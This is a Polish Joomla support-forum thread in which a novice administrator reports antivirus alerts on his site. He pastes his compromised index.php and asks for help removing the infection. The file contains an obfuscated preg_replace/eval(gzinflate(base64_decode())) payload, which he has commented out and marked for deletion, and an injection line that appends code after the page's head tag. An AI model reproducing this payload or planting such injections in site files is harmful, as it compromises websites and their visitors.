Problem - wirus w skrypcie ?
Wyniki 1 do 2 z 2

Temat: Problem - wirus w skrypcie ?

  1. #1
    Nowicjusz
    Dołączył
    25-10-2006
    Wpisy
    26
    Punkty
    10

    Domyślny Problem - wirus w skrypcie ?

    Może opiszę problem w skrócie - nie jestem alfą i omegą z joomlą a więc zwracam się do was o pomoc - od jakiegoś czasu pojawia mi się błąd a może bardziej wirus w kodzie strony nie wiem jak to się stało ale coś jest nie tak. Zaczęło się od "wysypania skryptu jednego z modułów strony" - plik w załączniku - jakoś poszperałem w skrypcie i udało mi się usunąć ten kod z poziomu administracji z katalogu templates/mojatemplatka/index.php tak że widziany w załączniku wysypany skrypt zniknął. Po ty zaczełem dostawać sygnały, że program Avast pokazuje, że na głównej stronie jest wirus a więc postanowiłem nadpisać poprawnym plikiem index.php. po tej operacji wróciliśmy do punktu pierwszego czyli wysypanego skryptu na głównej stronie portalu (załącznik), który o dziwo raz się pojawia raz znika .


    Mój hosting pisze cytuję

    Kod:
    Witam,
    
    To nie wina serwera proszę kontaktować się z webmasterem.
    
    Pozdrawiam,
    Dla pomocy wklejam "dziwny" kod z plików index.php i index2.php

    index.php

    Kod:
    <?php
    /**
    * @version        $Id: index.php 10381 2008-06-01 03:35:53Z pasamio $
    * @package        Joomla
    * @copyright    Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
    * @license        GNU/GPL, see LICENSE.php
    * Joomla! is free software. This version may have been modified pursuant
    * to the GNU General Public License, and as distributed it includes or
    * is derivative of works licensed under the GNU General Public License or
    * other free or open source software licenses.
    * See COPYRIGHT.php for copyright notices and details.
    */
    
    /////////////////////////////////////// fragment do usunięcia /////////////////////////////////////// 
    //preg_replace("/.+/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'nVVtb9owEP5Mf4Ur0TqZIJRp2qSiiKGStkgtMBP2IoqikLgkWkgix/RlFf99ZzuEAqGdBh9IfM/d89z57phTttD01tH9MvZ4mMRoLg/Qy1Gl6k5wmOIpkh8TLDxMBVZalizKTdIyZpEyee7MZX4YwzFuPz6aWBz6ppZxliaZVrjWEI6SJMX6sWneu1FG9TZnS3oun8EnvNeqvv5CvSDRcKHOc6OI+hNsFHEMCCXe17zwjvXWSgRA+6QFTDdzWnR6ivZgOJknJi4wshzbisL4wY1CHwm8pKswypcsBuWrXfGUe8EGKFiCJOOqeib6WnVGFvlukQlWv06/c2vhaV5nd05jhd2CXtv20BnDm9O5svp2AWf0njLKwGEfTqxLi1hEYeksSpQAHHCenjcasyTKAsqZO4uMmPIGm/uNcLGMEyMN0rbvctfExszN6OdPDo29xKdaRlkIZfhDoXa6uv5AEHuQrRPGIdckj67u8xisJaXMEu835cgPM2Cmfkk5VbyM8iSFiF5QQxdjcjMY2pCSPSZ9m3T6I8it1hRMh9F279YajO0aap7pLSTUFmLpE/UEWN+03oPLHH+5SOFYb0mpCslYwiS0aDNIrCQvukj5M2I0W0Zw22VNsmlQD8ahXlfWev3VUKCX3CV3SBmdOwsXOkrDJ3eT9G6qGR/a+t2kAY8nIYYOr1XBRVeCKHSpJt4nzalIrUKfQq7opUiR2lF+uDp6vQXkrIsYgjWMHZcx91nbdBSxbge25XS6XSKGWZlx8+MX4wy+TSznG8ZVtrqur+sDsTK4Gm2nNX86lwPyo0O6Vlc84WnukBcMvQcXqa1kWnsOW0L3spR7q0izRNoItIgdsXeKTBidJMZKaDXzArqg63HKxNpbISoWTIkZqyuoiuLAWWlJrgcjW3C3d5NXBnSODi+OsmSI9W1sjWxnTHp5ecX4V6rQ0yAhF2hgWASwTYUw44BvSzqq5MqJuj1iXdjO6IL0hq8JKwXb2+DWgVYpwKCG/HJGNun1rza9IoMb4n8HG+86rTvmjTR261X5r2K9SZFLg/204UhdHpTXSMJa7+gQ7jvN9y+qh9dDeL65FP+oW/XbK9urIYPAYqL+Ag=='\x29\x29\x29\x3B",".");
    /////////////////////////////////// koniec fragmentu do usuniecia ///////////////////////////////////////////////////    
    
    // Set flag that this is a parent file
    define( '_JEXEC', 1 );
    
    define('JPATH_BASE', dirname(__FILE__) );
    
    define( 'DS', DIRECTORY_SEPARATOR );
    
    require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
    require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
    
    JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;
    
    /**
     * CREATE THE APPLICATION
     *
     * NOTE :
     */
    $mainframe =& JFactory::getApplication('site');
    
    /**
     * INITIALISE THE APPLICATION
     *
     * NOTE :
     */
    // set the language
    $mainframe->initialise();
    
    JPluginHelper::importPlugin('system');
    
    // trigger the onAfterInitialise events
    JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
    $mainframe->triggerEvent('onAfterInitialise');
    
    /**
     * ROUTE THE APPLICATION
     *
     * NOTE :
     */
    $mainframe->route();
    
    // authorization
    $Itemid = JRequest::getInt( 'Itemid');
    $mainframe->authorize($Itemid);
    
    // trigger the onAfterRoute events
    JDEBUG ? $_PROFILER->mark('afterRoute') : null;
    $mainframe->triggerEvent('onAfterRoute');
    
    /**
     * DISPATCH THE APPLICATION
     *
     * NOTE :
     */
    $option = JRequest::getCmd('option');
    $mainframe->dispatch($option);
    
    // trigger the onAfterDispatch events
    JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
    $mainframe->triggerEvent('onAfterDispatch');
    
    /**
     * RENDER  THE APPLICATION
     *
     * NOTE :
     */
    $mainframe->render();
    
    // trigger the onAfterRender events
    JDEBUG ? $_PROFILER->mark('afterRender') : null;
    $mainframe->triggerEvent('onAfterRender');
    
    /**
     * RETURN THE RESPONSE
     */
    $JResp = JResponse::toString($mainframe->getCfg('gzip'));
    /*rrt*/
    $JResp = str_ireplace("</head>", "</head>".$code, $JResp);
    echo $JResp;
    index2.php


    Kod:
    <?php 
    /**
    * @version        $Id: index2.php 10381 2008-06-01 03:35:53Z pasamio $
    * @package        Joomla
    * @copyright    Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
    * @license        GNU/GPL, see LICENSE.php
    * Joomla! is free software. This version may have been modified pursuant
    * to the GNU General Public License, and as distributed it includes or
    * is derivative of works licensed under the GNU General Public License or
    * other free or open source software licenses.
    * See COPYRIGHT.php for copyright notices and details.
    */
    
    $_REQUEST['tmpl'] = 'component';
    include('index.php');
    Acha wykrywa tego "trojana" pod AVG i Kapserskym. Proszęr o pomoc gdyz jestem "raczkującym" administratorem w sprawach joomli


    Pozdrawiam
    Attached Images Attached Images

  2. #2

Podobne tematy

  1. Włam a stronę, wirus w filezilla, czy inny problem?
    przez big_krzysiek na forum Bezpieczeństwo
    Odpowiedzi: 13
    Ostatni post/autor: 08-01-2012, 20:14
  2. Wyświetlanie nazwy użytkownika w skrypcie.
    przez Kyosti_Paavali na forum Różne
    Odpowiedzi: 0
    Ostatni post/autor: 12-07-2011, 11:12
  3. wirus iframe - problem z usunięciem
    przez wHiTe na forum Bezpieczeństwo
    Odpowiedzi: 5
    Ostatni post/autor: 09-02-2010, 16:36
  4. Letterman błąd w skrypcie.
    przez xartekx na forum Administracja składnikami
    Odpowiedzi: 2
    Ostatni post/autor: 28-06-2007, 13:44

Reguły pisania

  • Nie możesz zakładać nowych tematów
  • Nie możesz dodawać wypowiedzi
  • Nie możesz dodawać załączników
  • Nie możesz poprawiać swoich postów
  •